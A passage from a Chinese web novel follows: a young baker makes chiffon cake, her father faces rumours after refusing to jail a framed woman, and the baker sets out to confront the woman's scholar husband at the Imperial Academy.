苏娘子亲了亲女儿额头:“洗漱吧。” 生理期过去,洗个澡神清气爽,苏茵茵在换好的被褥里滚了滚,自己好像又活过来了! 明天就做戚风蛋糕好了。 有了柠檬,终于可以做些绵软的面包啦。 心里回忆着戚风蛋糕的配方,第二天一大早,她便撸袖子干活。 她就不相信,有人会不喜欢戚风蛋糕! 就是不知道香橼价格多少,能不能经常买到。 如若不行,那这戚风蛋糕只能当季节限定。 一个点心铺,不仅排队,还限量,甚至还季节限定。 她自己都不喜欢这样的店铺啊! 没办法,原料实在受限。 苏茵茵调配蛋糕液的时候,把之前原锐给的塔塔粉拿出来。 塔塔粉是葡萄酒发酵后,在木桶壁上留下的粉末,同样不容易收集。 原锐前些年拿给她的时候,让她高兴很久。 所以原锐家到底是什么身份? 苏茵茵感慨一会,还是没有过多深究。 既然对方不愿意说,她家也不会多问。 她甚至已经想好怎么回报这些食材。 等把蛋糕做出来,直接写出方子送给原锐。 两人年纪渐长,确实如同家人说的,要避避嫌了。 苏茵茵摇摇头,专心做蛋糕啊,想什么呢。 虽然说戚风蛋糕比较简单,也不能走神! 否则就要浪费食材了! 蛋黄,白砂糖,柠檬汁,素油,筛好的面粉,盐,所有东西准备好,按照步骤不停搅拌。 只要步骤不错,搅拌得当,便不会有太大问题。 等到蛋糕液做好,便能倒入模具里面,细致刮平表面,剩下的便是放到烤炉里,三刻钟之后再取出来。 苏茵茵经常在家里研究新品,所以家里烤炉并未熄灭,直接在这烤就好。 蛋糕液放到烤炉里,苏茵茵那边开始写配方,又把需要注意的细节写下来。 若京城其他点心铺得到方子,必然如获至宝。 毕竟京城里点心行当,谁不知道她的能力。 但这配方只是给原锐的。 只是这一个还不够,苏茵茵干脆把这几年做的点心写下来,整理成小册。 让原锐家里做给他吃,多吃点,身体才会更好。 苏茵茵并不担心原锐家拿到方子跟她家抢生意。 虽说不知道他家做什么的,可看平时的手笔,根本不是一个阶级,担心这些做什么。 再说了,就算拿出去售卖,她也不介意,毕竟那些食材的价格同样为无价之宝。 方子还未写完,蛋糕的香味已经飘出好远。 甜香的戚风蛋糕香味便是一流,路过的邻居停住脚步。 苏家的小姑娘,又做出什么样的点心了啊。 苏茵茵咽了下口水。 好香啊。 一口下去,整个人快乐加倍啊。 不是她自夸,这蛋糕的气孔是完美的! 原锐过来,闻到的便是这样的香味。 “你怎么又来了。”苏茵茵惊讶道,随后赶紧改口,“最近不忙吗。” 不是不忙。 是心里不安。 自从那天送完香橼之后,李锐渊便察觉到不对,今日抽空便来找茵茵。 “还好。”李锐渊道,“做了什么好吃的。” 郭展在旁边心道,怎么可能不忙。 殿下马上年满十六,便要上朝观政。 今年乡试又是他来主持,处处都要忙,听政前的公务,半点都不容差错。 等到观政之后,只怕更不得闲。 偏偏茵茵姑娘这边态度有所不同,他看着都焦急啊。 苏茵茵也没深问,反正问什么都是还好,她又不知道原锐在忙什么,指着蛋糕道:“那日送来的香橼,还有之前的葡萄粉,用这些东西做的蛋糕。” 蛋糕。 还是头一次听这个名字。 苏茵茵切了两块,原锐跟郭展都有。 郭展先咬一口,整个人都愣住。 好好吃。 没有别的修辞,就是好吃。 又香又软的,好吃的不得了。 李锐渊反应也差不多,他知道茵茵手艺极好,在这个蛋糕上似乎又上一个台阶,咬在口中软若无物,可充斥的香甜又做不了假。 “味道怎么样。” “极好。”李锐渊停顿片刻,又答,“宫中御厨的手艺都没这样好。” 郭展跟着点头。 他证明! 绝对没这样好。 “不是把你比作御厨的意思,是夸赞。”李锐渊夸得无比真诚。 苏茵茵挑眉。 她就知道,自己手艺绝佳,吃着久违的蛋糕,成功抚平她生理期带来的郁闷。 三人分享了这个戚风蛋糕,苏茵茵又把剩下的蛋糕液放到烤炉里,应该能再做四五个的样子。 李锐渊帮着做完这些,看到旁边的小册。 茵茵的字迹他很熟悉,随口问道:“在写配方吗。” “嗯。”苏茵茵答道,下了决心,“给你的。” 我? 李锐渊眼睛带了些疑惑。 “就当是对香橼,还有那些食材的感谢。”苏茵茵认真算道,“不管是用这方子开店,又或者给其他人,都是可以的。” “方子不易得,食材也不易得。”苏茵茵把手洗干净,把最后一点补充完,“给你吧。” 李锐渊心底往下沉,嘴角依旧带了丝笑,眼神却黑压压的,无形给人压迫感:“为何要给我。” 他的感觉没错。 茵茵在跟他划清界限。 无论是避开他,还是这些方子。 苏茵茵不好回答,她不能直接说以后男女避嫌吧。 而且这么说的话,好像误会原锐对她有什么意思一样,说出来也太让人尴尬了。 “什么味道,这么香。”孙东俊探头进来,“茵茵妹妹,你又做什么点心了。” 还好有人打破尴尬,苏茵茵指着烤炉道:“新做的点心,等会分你些。” “你也要给他方子吗。”李锐渊直接问。 “怎么会,这很珍贵的。”苏茵茵回道。 一时间,场面跟尴尬了。 少年少女避开对方眼睛,看得孙东俊酸溜溜的,悄悄过来道:“你们又说什么呢。” “没什么。”李锐渊直接道,“不要随便进别人家,不太好。” “那你呢,你不是也进了。”孙东俊说完,又没了胆气。 这人只比自己大一岁,以前还比自己矮,怎么这几年蹭蹭蹭往上长,气势也吓人。 还好从小认识,否则肯定不敢往前凑。 最后还是回家的哥哥苏显把几个人分开。 苏显看看孙东俊,再看看更让人头疼的原锐,前者还好些,后者更为麻烦。 好不容易把后者这尊大佛送走,苏显看到被原锐刻意留下的方子小册,约莫知道前因后果。 见妹妹还心大地在做点心,干脆把方子收起来,就当原锐已经收下。 剩下的戚风蛋糕出炉,苏茵茵连忙道:“哥,来尝尝。” 苏茵茵看了眼桌子,见方子小册不见,心定了几分。 拿走了就好,以原锐的聪明,肯定知道为什么吧。 苏茵茵松口气,眼睛亮晶晶看向哥哥:“哥哥好吃吗。” “很好吃。”苏显说得非常认真,“妹妹真厉害。” 苏显说话少,但吃得快,差点要舔手指。 还好做的蛋糕比较多,作为哥哥,想吃几块就吃几块。 兄妹两个凑在一起又分了个,这才意犹未尽。 “妹妹定然是天下第一点心师。”苏显给出超高评价,每次他带到书院的点心,基本都会被瓜分干净。 苏茵茵嘿嘿笑了笑,指着剩下的道:“咱们去给娘亲,还有爹爹送吧。这蛋糕热的时候味道更好。” 两人提了两个食盒,把剩下四个蛋糕分成两份,第一份给娘亲,第二份他们拿到西城兵马司。 爹爹现在是指挥使,基本都在兵马司里。 苏娘子手里的食盒刚打开,原本排队的人就躁动了。 又有新品! 这次是什么?! 苏茵茵拉着哥哥拔腿就跑。 再不跑就来不及了! 留下的苏娘子无奈跟大家解释:“我家女儿刚做出来的,只是试吃,估计要等两天了。” 别等了啊。 你手里两个呢。 苏娘子只当看不到,给店里帮工们分了,还有邻居给了两块。 最后实在拗不过,只好把剩下的一个戚风蛋糕切成小块,让顾客们试吃。 这一吃,让排队的顾客们差点吞掉舌头。 慧女点心,真的厉害啊。 你们能不能快点推出新品。 我们很着急花钱的。 苏茵茵苏显已经到了西城兵马司,这地方除了巡逻的士兵之外,很少有百姓敢过来,但又不算冷清,来往的当值的士兵们跟苏茵茵他们打招呼。 “来找指挥使吗。” “茵茵姑娘这样大了。” “苏公子果然一表人才。” 熟悉的人更不用说了,直接跟在后面:“茵茵妹妹又做什么好吃的了,咸口还是甜口?让我们尝尝呗。” “新品点心,是甜口的。”苏茵茵回道,“我爹爹在忙吗。” “好像在忙,等着我先去看看。” 兄妹两人见到父亲,他刚刚处理完监牢里的事,脸色不算好看,看到孩子们过来,这才面色缓和:“怎么这会来了。” “新做的点心,凉了就不好吃了。”苏茵茵连忙道,“爹爹没有打扰你吧。” “没事,已经处理完了。” 其实苏指挥使跟兵马司许多人一样,并不喜欢甜口点心。 平日巡逻公务,还是吃点咸得更舒服,但孩子们拿来的,他肯定要吃的。 食盒还没打开,同僚们先围过来。 一听说他家孩子带了点心过来,大家自己端着茶就过来了。 眼看两块蛋糕被不喜欢甜食的众人吃完,苏茵茵低声对哥哥道:“哥,这次的点心,肯定会大卖的。” “你做的点心都会大卖。” 苏指挥使这热热闹闹吃着点心,只听外面有人道:“苏指挥使,那边刚把人抓了,你怎么又给放了?!” 说话的人脸色难看,身后跟着另一个副指挥使,正是兰双姐姐的父亲梁副使。 看来指责爹爹的人,应该是巡查司的正指挥使?跟爹爹是平级。 这话一出,原本热闹的官署里安静下来,暗潮涌动。 苏显下意识护住妹妹,但并未出声,他们只是来送点心的,旁观即可。 苏指挥使被直接点名,站出来道:“既无衙门批文,又无罪证罪案,为何要把人关押。” “不是跟你说了吗!”巡查司指挥使咬牙,见着周围那么多人,直接道,“还不去当值,在这做什么。” 大家手里还带着苏家的点心,难免心里向着苏指挥使,开口道:“这不是吃点茶歇,还没轮到我们当值。” “是啊,你们巡查司耍威风,也别来我们火禁司啊。” “都是西城兵马司的指挥使,谁比谁厉害。” 苏茵茵好奇看着大家。 古代的职场这么可怕的吗。 不过她跟哥哥不能多待,提着空荡荡的食盒便要回家,方才帮他们通传的兵卒又送人出去,还不好意思道:“茵茵妹妹,你家这点心什么时候开始售卖,我能不能预定两块。我未婚妻最喜欢吃这种绵软甜味的东西,我想给她买两块,可以吗。” 他们兵马司平时忙得厉害,根本不能去排队,所以他想走个后门。 “明日我还会再做一些,到时候让我爹带过来。”苏茵茵点头道,她对方才的事还有些好奇“刚刚有人说,巡查司耍威风,他们很喜欢来火禁司耍威风吗。” 眼前的兵卒低声道:“是啊,他们巡查司自以为是兵马司排第一,向来看不惯其他三司。” “不用理他,我们都向着苏指挥使。” 苏家兄妹俩点头。 他们才不担心爹爹呢,爹爹特别厉害。 两人慢悠悠回店里,路上又买了些新鲜瓜果,准备晚上吃。 等他们到慧女点心时候,只见店门口吵吵嚷嚷的,似乎在说他们爹爹的事。 “苏娘子,你在这辛苦开店,知不知道你们家男人已经养了个小,那小的甚至还有娃?” 苏茵茵脚步顿住。 那人在说什么? 他们怎么没听懂。 周围瞬间炸开。 这说的是周慧女的相公苏指挥使? 不可能吧。 第44章 不到一个下午,消息传得有鼻子有眼。 苏家兄妹梳理了过程。 就是有人说,苏指挥使专门从监牢里放了一个带着女儿的美貌妇人,之后还给妇人一点银钱,让她们有落脚地方。 因为这个妇人,甚至跟同僚争执。 这种徇私枉法,还给银钱的做法,那不是看上了,还能是什么? 不多时,便有人到慧女点心门前说三道四。 慧女点心生意好,难免有人眼红,有人眼红便有人添堵。 连带着店里生意都不好了。 到了晚上,苏指挥使黑着脸回家,看来他也听到谣言,气得他跟巡查司指挥使差点打起来。 匆匆回到家后,当着两孩子的面关上房门,显然要跟自己媳妇儿解释。 苏茵茵低声问哥哥:“娘应该没信吧。” “应该不会信,可这事肯定要解释清楚。” 他们自家人可以解释,外面却不好说。 自古造谣一张嘴,辟谣跑断腿。 此事最容易的解法也有。 第二日丁鹏正一大早过来,便道:“最好的办法,便是把那妇人抓起来,谣言就能平息。” “这怎么行。”苏茵茵道,“不是说没有罪证罪案,更没有逮捕文书吗。” “等会,什么都没有,那她是怎么被送到监牢的。” 苏茵茵爹爹所在的火禁司,管着汴京西城的囚犯,放火等事。 那巡查司抓人之后,送到监牢里。 需要有卷宗,或者特批的逮捕文书。 苏指挥使就是没见到这两样,所以不收人。 既然没有这两样东西,巡查司为何要抓人? 丁鹏正想要遮掩,却看苏家兄妹的眼神,就知道他们俩不好糊弄,干脆道:“肯定是哪个官员私下给巡查司指挥使好处,让他抓人小惩大诫。” 意思就是,那带着孩子的妇人,大概率没什么罪过。 就是得罪了某个官员,让人把她抓起来。 普通人进牢房,不到三日,便会胆气全无,到时候任人拿捏。 更别说那美貌妇人还带着三四岁的女儿。 他们想的倒是好,偏偏事情出在苏副使这。 自从他做火禁司指挥使之后,这种暗地里的勾当被他逐渐清除,拒了不少巡查司胡乱抓过来的人。 估计巡查司早有不满,想着他们的辛辛苦苦抓人,监牢竟然不收,实在不给面子。 现下又遇到美貌妇人的事,彻底点燃怒火。 外面的谣言,必然是巡查司散播的。 为的就是让苏指挥使低头。 苏茵茵奇怪道:“这谣言让我爹爹低头?为什么?不过是风评的事。” 她家内部都不信的啊。 丁鹏正轻咳:“谁让苏指挥使就这个弱点。” 什么弱点。 家里吗。 苏家兄妹默默闭嘴。 虽说娘亲很温柔,可爹爹更怕娘亲受委屈。 这么看来,好像确实是弱点。 但那些人会不会太小看娘亲了啊。 以娘亲心软的性子,她只会心疼无辜被捕的带女儿妇人。 等爹娘端着饭菜从厨房出来,还招呼丁鹏正一起用早饭。 苏茵茵看着爹娘的样子,看来不仅没生气,关系反而更好了。 苏茵茵偷偷松口气,她就知道,爹爹娘亲才不会因为这种事争吵。 苏娘子似乎看出来,摸摸孩子头发:“吃饭吧,今天不是还要做新点心。” 没错,昨天做出的戚风蛋糕非常好,今天要把方法教给娘亲。 再过个三五日,店里就能出新品啦。 不过娘亲一点都没受影响吗。 苏指挥使道:“放心,爹一会就去兵马司处理这事。” 这种谣言就跟癞蛤蟆一样,不咬人膈应人。 不过苏茵茵好奇到底发生了什么事。 那妇人到底哪里惹到背后的官员,何至于这样对孤儿寡母的,这可是京城脚下,不怕被上面知道吗。 一整天时间,苏茵茵明显感觉到,谣言不降反升,不少熟客到了店门前都要多问一句。 苏娘子面上撑得住,反而周围人投来担心的目光。 巡查司好歹毒的心思。 就是要用此事,让爹爹低头吧。 苏茵茵昨日答应过兵马司的一个哥哥,给他带一些蛋糕过去送给未婚妻。 原本想让爹爹帮忙,现下还是自己去更好。 苏茵茵提着戚风蛋糕再去兵马司,正好看到漩涡中心的妇人,她骨瘦如柴,眼中带泪,仅仅护着身后的女儿。 说是妇人,其实也就二十出头的模样,放到现代说不定大学都没毕业。 “辛苦茵茵妹妹跑一趟。”那兵卒接过食盒,万分感谢,没有多留苏指挥使的女儿,最近兵马司乱糟糟的,不好多待。 苏茵茵回头看了那女子一眼,忍不住问道:“她到底犯了什么事,又惹了哪户人家?” 兵卒挠头:“按照巡查司的说法,这女子偷盗一户官员的财物,只是官员好心没报官,让巡查司管她几日即可。” 所以巡查司咬死了女子有罪,要把她关到牢房里。 但苏指挥使这边没有文书,坚决不放人进去。 好像两边都没错,所以僵持下来? 苏茵茵直接道:“她带个女儿,如何偷盗。再说了,是否偷盗难道就是对方一句话的事吗。” 无非巧立名目抓人而已。 再加上兵马司内部的问题,巡查司的人想用这是压压火禁司近两年的锐气,肯定要借题发挥。 只是苦了她,不仅卷起谣言当中,还要不时来兵马司报道。 苏茵茵刚走几步,又见那小姑娘看着路边的包子铺咽口水,还是回头走过去,对包子铺老板道:“四个肉包,两碗糖水。” 说罢,苏茵茵看向那女子道:“姐姐,吃点东西吧。” 女子疑惑抬头,她知道两人方才正好同路,眼前漂亮小姑娘应该是兵马司官吏的姊妹女儿。 但若是兵马司的人,必然知道她是个麻烦。 女子婉拒道:“多谢姑娘好意,妾身如今不好牵连他人。” 说着,从袖子里拿出仅剩的铜板,要付包子的钱:“珠珠,谢谢姐姐。” 四岁的小姑娘抬头,奶声奶气地感谢,让苏茵茵更加不忍心。 她知道挨饿的滋味,也知道漂泊的感觉,蹲下来道:“一切都会过去的,现在发生的事情,都会成为你宝贵的经验。” 女子罕见笑了,带着孩子坐下吃东西。 苏茵茵迟疑片刻,同样坐下,开口道:“姐姐,你能不能告诉我发生了什么,或许我能帮你。” 这事毕竟跟她家也有关系。 现在流言蜚语满天飞,必然要解决的。 女子看向街上备考的书生们,眼里带了冷意:“不过是话本里那些贫贱夫妻百事哀罢了。” 这么讲也不对,毕竟对方只有跟她在一起的时候,才是贫贱夫妻。 见漂亮小姑娘惊愕,女子又道:“说了这样久,还没问过姑娘姓名,我叫柳月,你叫我月儿姐即可。” “我叫苏茵茵。”苏茵茵没瞒着,“是苏指挥使的女儿。” 这下变成柳月惊讶,她刚要解释,苏茵茵连忙道:“放心,我爹爹娘亲很好,娘亲也没相信那些话。” 她家这些年接济人多了去。 给眼前人一些安身钱是寻常事。 再说了,那可是她爹爹,若有什么了,娘亲第一个就会发现。 柳月带了苦笑:“你家实在是心好,却被我拖累。” 柳月干脆把事情经过说了出来。 她本是苏州一家绣坊的绣娘,有着一手好绣工,再加上相貌姣好,跟家人日子过的平淡舒心。 “六年前,绣纺少东家前来巡视,我们一见投缘。” 柳月根本没想到对方是少东家,倘若知道,肯定不会继续来往。 毕竟这家绣坊不过是对方百十处产业之一,平日都由旁支来管,即便是旁支东家,都是她高不可攀的人。 何况是大宗嫡子。 来此处巡视,也不过是顺手的事。 “他去苏州是为读书,并不为这些产业,故而我只当他是普通的读书人。” 对方父亲祖父两代为官,到了他这里,必然要全力科举,以后仕途有望。 那少东家争气,在苏州拜了名师,不仅考上秀才,甚至还是当地的案首。 也是那会春风得意时,他求亲于柳月。 柳月跟家里自然万分欣喜,没想到绣坊先是辞了她,随后书生家族找来,让柳月不要妄想。 柳月跟柳家,这才知道对方是什么身份。 小情侣心如刀绞,难舍难分。 书生跟家族起誓一定要娶绣娘柳月,气得家里断了银钱供给,除了读书之外,一分钱也不给。 当时柳家人劝,让柳月算了。 但越是这种时候,两人自然情比金坚,谁都不肯放手。 两个年轻人干脆简单拜堂成亲,想着一个有绣工,一个会读书。 等考上举人,书生家里多半会松口。 考上秀才的当年便是乡试,书生并未考中,两人倒不气馁,继续准备三年后的乡试即可。 刚在一起时候,浓情蜜意,什么都能战胜。 日子久了,两个经历天差地别的小夫妻,自然而然出现矛盾。 这种事并非不可调和,而且书生家族没有阻止柳月卖自己的绣品,日子能过得下去。 柳月说着,看了看自己的女儿,轻声道:“去再打一碗糖水来好不好。” 小姑娘点头,等着去盛糖水。 柳月才道:“但我很快有了身孕,绣品慢慢减少,日子变得拮据。” 小夫妻过日子,衣食住行都要花钱。 就算读书的费用不用他们管,可其他方面的花销依旧不少。 少了绣品的收入,真正进入贫贱夫妻百事哀。 没吃过苦的少东家开始吃咸菜配高粱饭。 最终在安盛十年乡时爆发。 第二次乡试,不仅没中举,甚至因为食物没带够,根本没力气写完所有试卷。 当时孩子不到一岁,柳月一边照顾孩子一边做绣品,还要安慰落第的相公,难免烦躁争吵。 少东家到底还是少爷脾气,直接推门出去,回了宗族家中。 家里都是亲伯伯亲叔叔,见他回来不仅不拦,更不问他是不是吃苦头了,只让人安排好酒好菜,准备他之前惯用的衣裳物件。 在家躺了三日,少东家准备离开,家族也不拦着。 这种大家族冷静下来后,对付苦命鸳鸯,根本不需要多做什么。 特别是少东家的父亲,写信过来道:“不需管,过个三五年,自然便明白了。” 也有人劝他家,好好的孩子耽误三五年,合适吗? 人家父亲直接道:“倘若能让他明白世事艰辛,别说五年,便是十年也值得。” 听到这,苏茵茵眼神带了不忍。 柳月见她如此聪慧,笑道:“我也是之后才明白的,他家不拦着我卖绣品,不拦着我们无媒苟合,更不拦着我生下女儿,无非是想帮他成长罢了。” 说白了,最开始辞退柳月,强行让他们断关系,是旁支这边的意思。 后面大宗那边知道,看似不管了,其实一切都在人家的掌控里。 书,你照常读。 日子,你自己过。 过得好算你有本事,家里高高兴兴接你回去。 过不好,肯定自己回家,家族永远是你的后盾。 至于其中的女子,不过是对方挫折教育的一环罢了。 可惜柳月很久之后才明白这个道理。 真如少东家父亲所说,过个三五年,自然便明白了。 自从少东家回家“休整”三日后,双方的矛盾更大,他回家的次数越来越频繁,待的时间越来越长。 今年又是乡试年。 这是救他们出苦海的唯一机会,两人都在咬牙忍耐,等着这次考中。 以他的学问,夫子说今年是有指望的。 但在今年三月份,少东家的父亲给他写了这些年第一封信件。 收到信时,柳月知道他的手在颤抖。 做了这种离经叛道的事,只有他母亲会时常写信过来,他父亲则为头一回。 信的内容很简单。 没有指责他,没有讲这些年的事情,只是讲他父亲调回京城做官,有国子监读书的名额,让他收拾行装,准备在国子监备考。 同时考试的地方换做京城。 苏茵茵听到这,已经知道对方的选择。 她听哥哥说过,南地北地每次乡试会试的不同。 用现代的话来说,在京城考试,会比在苏州科考录取机会更大。 一个是在苏州卷生卷死,争名额。 另一个是直接到汴京国子监读书,到时候在录取率更高的汴京考。 对于一个科举考生来说,根本不用多想。 这下不仅分隔两地,甚至回到了他真正的家。 父亲严肃,但为他前途谋划。 母亲慈爱,处处为他着想。 就连国子监的夫子,都说他文章写得扎实,不同一般子弟的浮华,圣上极爱这样的文章。 这才是他的家啊。 吃穿唾手可得,珍玩宝贝也不过是小事。 不是那处充满苦涩的狭小房子。 也不天天算着还有多少铜板的地方。 家里从不讲这几年发生的事,他依旧是家族最有前途的少爷。 渐渐的,他写信去苏州的频率慢慢减少,直到彻底不再提了。 反正家里都不提,大家默契当做没发生好了。 他甚至知道,家里会帮他处理好的。 那些荒唐事,以后只会做笑谈。 柳月接过女儿小心翼翼端来的糖水,苦笑道:“他家给了我银钱,让我再嫁。还说陛下鼓励再嫁,苏州民风开放,不会在意这些。” “可我如何甘心。” 牺牲一对母女换来的成长。 有没有问过被牺牲人的想法。 这种事情,谁又会甘心。 所以她来京城,一定要个说法才成。 “自七月中旬过来,我从未再见过他,只见了他母亲身边的婆子。” 那婆子给了她一包首饰,她直接拒绝,没成想对方故意留在房间里两根金钗。 也就是那两根金钗,让巡查司登门,直接把她们母女带走要关到监牢里。 她没有偷东西,更没有要什么东西。 只是想让对方写一封和离书。 之后一拍两散。 “对方绝不肯写。”苏茵茵断言,“若写了,就证明他成过亲,这桩事还要放在明面上被人当笑谈,再也遮掩不过去了。” “是啊,他家不肯写,只想把这事揭过。”柳月却道,“所以才设计让我入狱。” “等到对方考完乡试,中了举,名次再高一些,我就再也没有要和离书的可能。” 中举,便是官身。 又有了更多筹码,在婚事上虽有瑕疵,却也不是大事。 再说对方有真学问,明年会试若再高中,柳月的冤屈,那才是无地可发。 对方可真是好计谋。 用这样的计谋,对付一个弱女子。 至于这个女儿,虽为他家血脉,却也不算什么。 别说是女儿,便生了儿子,同样无所谓的。 都说母凭子贵,倒是虚言,更多的是子凭母贵,方能登堂入室。 现在的柳月不准备再跟对方过下去。 唯一要求便是,写封和离书。 既为这些年的情谊,也要给女儿一个正儿八经的身份,否则她以后便是私生女。 孩子自然是她抚养,但户籍上父亲的名字不能空着。 原来是这样。 苏茵茵听得气恼。 对方玩得开心,可以随时回头,却从未考虑过对方的感受。 “那你相公呢,难道做缩头乌龟?他对你过来,是不知情,还是不想见。”苏茵茵下意识道。 柳月迟疑:“大概率不知道,他确实吃不得苦,却也不会让人把我跟女儿关到牢房里。” 而且她隐隐有些猜测。 不报官却要把她关起来,明显是怕对方知道。 人都是极复杂的。 以对方软弱的性子,确实做不出来关押妻女的事。 如果她一定要和离书,对方大概率是会给的。 可她根本见不到本人。 但凡靠近一些,巡查司的人立刻过来要把她关押起来。 苏茵茵找到症结的关键,也把她家的事说了:“我家因此谣言傍身,既跟你的事有关,其实也跟兵马司其他指挥使有关。” “现在想要洗脱嫌疑,只能去找孩子她爹。” “要不然我去找,我去替你传递消息。” 如此看来,两家的目标一致。 柳月想要和离书,给这件事画上一个句号,给女儿一个身份。 苏茵茵既想帮她,也想让流言制止。 她的家真的真的非常好,是她上辈子做梦都得不到的家人,不能让大家出一点事。 不管发生什么,她都要保护好自己的家。 柳月带了歉意,苏指挥使虽不知详情,却知道她是被冤枉进的牢房,所以给了些落脚的银子。 没想到会造成如今的局面。 现苏姑娘要帮她传递消息,让她反而犹豫。 真的不好在拖累苏家了,谁知道对方又会做出什么。 聊了这样久,柳月始终没有说对方的姓名。 到了此刻,柳月深吸口气,开口道:“他名叫朱中杰,今年二十四,在国子监读书,即将参加三日后的乡试。” 这并非最关键的。 柳月又道:“他祖父先前在钦天监为官,父亲去年调任京城,任礼部左侍郎,名为朱荣蔚。” 钦天监,礼部左侍郎。 都是京中要职。 而且两代为官,又在江南有不少产业,肯定是高门望族。 怪不得柳月无力再争,只想要一份和离书。 而西城巡查司指挥使借着这件事强压火禁司,估计觉得背后有人撑腰,所以肆无忌惮。 好复杂的事。 柳月说到最后,还道:“苏姑娘,我知道你是好意,但此事不好再得罪人,苏指挥使或许压得住巡查司的人,但肯定拗不过朱家。” 这是实话。 朱家根基深厚,看他们的手笔,玩弄权术更是好手。 在柳月的事上管中窥豹,可见一斑。 苏茵茵跟柳月告别,心里装着事,难免走的慢了些。 这要怎么办啊。 三日后负心汉朱中杰就要参加乡试。 等他考中了,这事就跟更难办。 而且他爹的名声怎么办。 母亲也要因此饱受非议,那又怎么办。 三天。 必须马上做出行动。 还是要去找朱中杰才成。 苏茵茵下意识想到原锐,可他最近很忙,又收了小册,多半不会过来。 找谁帮忙呢。 孙东俊? 更算了,他明显只对吃更感兴趣。 最后还是苏显发现愁容满面的妹妹,问了前因后果,苏显道:“你打算怎么办?” “去国子监,把朱中杰揪出来,好好问一问他。” 这方法虽然简单粗暴,却实在有效。 朱家一直不让柳月见到朱中杰,估计也是担心其中有变。 既然越不让见,那就越要让对方知道。 按照柳月的说法,他这人虽然是负心汉又贪图享乐,却实在心软容易被动摇。 让朱中杰重新跟柳月一起过苦日子大概率不可能,但让他写封和离书,却有机会的。 不管成不成,先告诉朱中杰,再看后续的发展。 “那我们就去。”苏显想到书院最近的流言,以及对父亲的诽谤,他道,“咱们一起去,我知道国子监在哪。” 说去就去。 第二天一早,苏家兄妹便同时出门,直奔京城国子监。 京城有不少私塾学院以及官学。 其夫子不同,院长不同,风格自然都不一样。 官办学府当中,以国子监最佳。 各大书院则各有侧重,其中苏显所在的山家书院对功名最为淡然。 而国子监则完全相反,但凡进去的学生,无一不是世家子弟,又或者聪明超群。 是接下来二十乃至三十年见朝中大臣的中流砥柱,很受朝中重视。 苏显来到国子监,明显感觉这里对乡试更为重视,根本不像他们山家书院,学生们读书归读书,没有这般拼命。 苏显摸摸鼻子,他也是其中之一。 不过并非他不努力,而是他知道自己的水平,对此心中有数。 都到今日了,再怎么临时抱佛脚都没用。 “请问,朱书生朱中杰在吗。”苏茵茵随便拉了个人问道。 对方看了看眼前两人,一看就是兄妹俩。 两人面容白皙,双目有神,不像是乱七八糟的人,这才回答。 “今日太子殿下前来,国子监几个学问好的都被带过去问话,要等会才能见到。”书生回道,随后又问,“你们是哪家的子弟,之前怎么没见过。” 以两人的相貌仪态,只要见过,必不会忘啊。 两人并未报家门,只是笑着道:“普通人家,今日巧好有事路过。” 好在书生并未过多追问,还有两日就要乡试,愁死他们了。 太子殿下过来,长官都没让他们去见,看来他今年大半没戏,愁人啊。 苏家兄妹对视一眼,没想到会遇到这种事。 “等吗?” “等吧。”苏茵茵道,“那太子肯定很忙,等他走了便是。” 他们今日,说什么都要抓到朱中杰! 太子也是闲的,为何偏偏在今日来国子监啊。 第45章 苏家兄妹两个干脆在附近亭子坐下,不愧是京城国子监,周围的风景很不错,有山有水,甚至还有游船。 两人坐到亭子里,苏茵茵打开荷包,里面装着几块奶糖,她没事的时候做的,正好打发时间。 奶糖的香味让游船里的少年揉揉鼻子,原本在钓鱼的他把鱼竿扔给小厮,抬头看向亭子里的人:“你们来国子监等人的吗。” 苏家兄妹看过去,只见是个十三四岁的少年,一身华服,人倒是干净利落。 苏茵茵点头:“对啊。” 搭话结束,对方两步过来:“小妹妹,你吃的是什么。怎么那样香甜。” 苏茵茵拿起奶糖,见他毫不客气,倒是心生好感:“不嫌弃的话尝尝吧?” “就等你这句话呢。”少年主动自我介绍,“我叫金彦磊,你们呢。” 兄妹对视,下意识用了化名:“姓周。” 他们来找朱中杰的麻烦,虽说不用刻意隐瞒,但同样不好大肆张扬,索性用母亲的姓氏。 “周兄,周家妹妹。”金彦磊道:“这奶糖可真好吃,你们在哪买的。” 有人夸自己的手艺,苏茵茵当然高兴,歪头道:“自家做的,外面没有买的。” 竟然没有? 太可惜了。 金彦磊是个自来熟,他是国子监的学生,但还没考中秀才,乡试自然跟他没有关系。 现在国子监夫子们都关注乡试,根本不管他们,索性过来钓鱼。 反正闲着也是闲着,苏茵茵跟着去玩,只等着太子离开再说。 好在跟她猜测的差不多,太子作为未来国君,身上事多,在此地待了不到半个时辰,便要起架离开。 金彦磊还让她看太子仪驾:“我们离得远,不用行礼,若离得近了,肯定要的。” 太子仪驾果然不同,无论是开路的护卫,还是后面跟着的宫女太监,足可见对方的威仪。 当了太子都这样,登基后人是不是更多? 苏茵茵还是头一次见到皇室正式仪驾,好奇地多看两眼:“我们这么看,会不会冒犯到人?” 金彦磊却道:“不会,太子表哥人很好的。” 太子,表哥? 苏家兄妹看过去。 金彦磊知道自己说多了,不好意思道:“我是他远房亲戚,母亲跟宫里关系不错,喊得上一句表哥。” 之前太子表哥读书,他原本要被送宫里当伴读的,可惜读书太差,这才没去成,勉为其难来了国子监。 以前他跟太子之间关系还可以,最近几年太子越来越忙,自己就不往前凑了。 哎,在哪读书都不好玩啊,谈论政务更是没兴趣,还是吃吃喝喝有意思。 “那个,再给我几个奶糖呗,我用东西跟你换。” “你看这些物件,喜欢哪个就拿哪个。”金彦磊边说边把身上的小玩意拿出来,什么玉佩扳指。 他没说用钱买,只当个朋友间的互换。 苏茵茵道:“只是几颗糖嘛,没事的。” 他们这边瞎聊,苏显目光还在太子车驾上。 自从去了山家书院,他知道事情比之前多了,听说过如今皇上,皇后,太子的事情。 他们支持新政,一直想彻查朝中贪腐,还有意改革科举。 但朝中阻力不小,百姓也因前些年的战乱,需要恢复生机,所以新政进行的缓慢。 不过今年太子开始观政,或许情况又会不同。 苏显眼睛微眯,太子队伍里有个人影,看着好像有些眼熟? 距离太远,还是没看清楚。 远处队伍里,郭展震惊道:“殿下,确实是苏公子,苏姑娘。” 方才太子出国子监,正要上车驾,看了远处亭子一眼,正好看到钓鱼的两个人,以及看他们钓鱼的苏显。 李锐渊下意识快速上车,又让郭展确认。 “还有奉国将军金家的金彦磊。” 这是皇后娘家远房亲戚,当年宫变有功,故而提拔上来,差点还当了殿下的伴读。 虽说伴读没当成,但逢年过节还是经常被召到宫里。 李锐渊皱眉,隔着车驾看向亭子方向:“查一查,看茵茵来国子监做什么。” 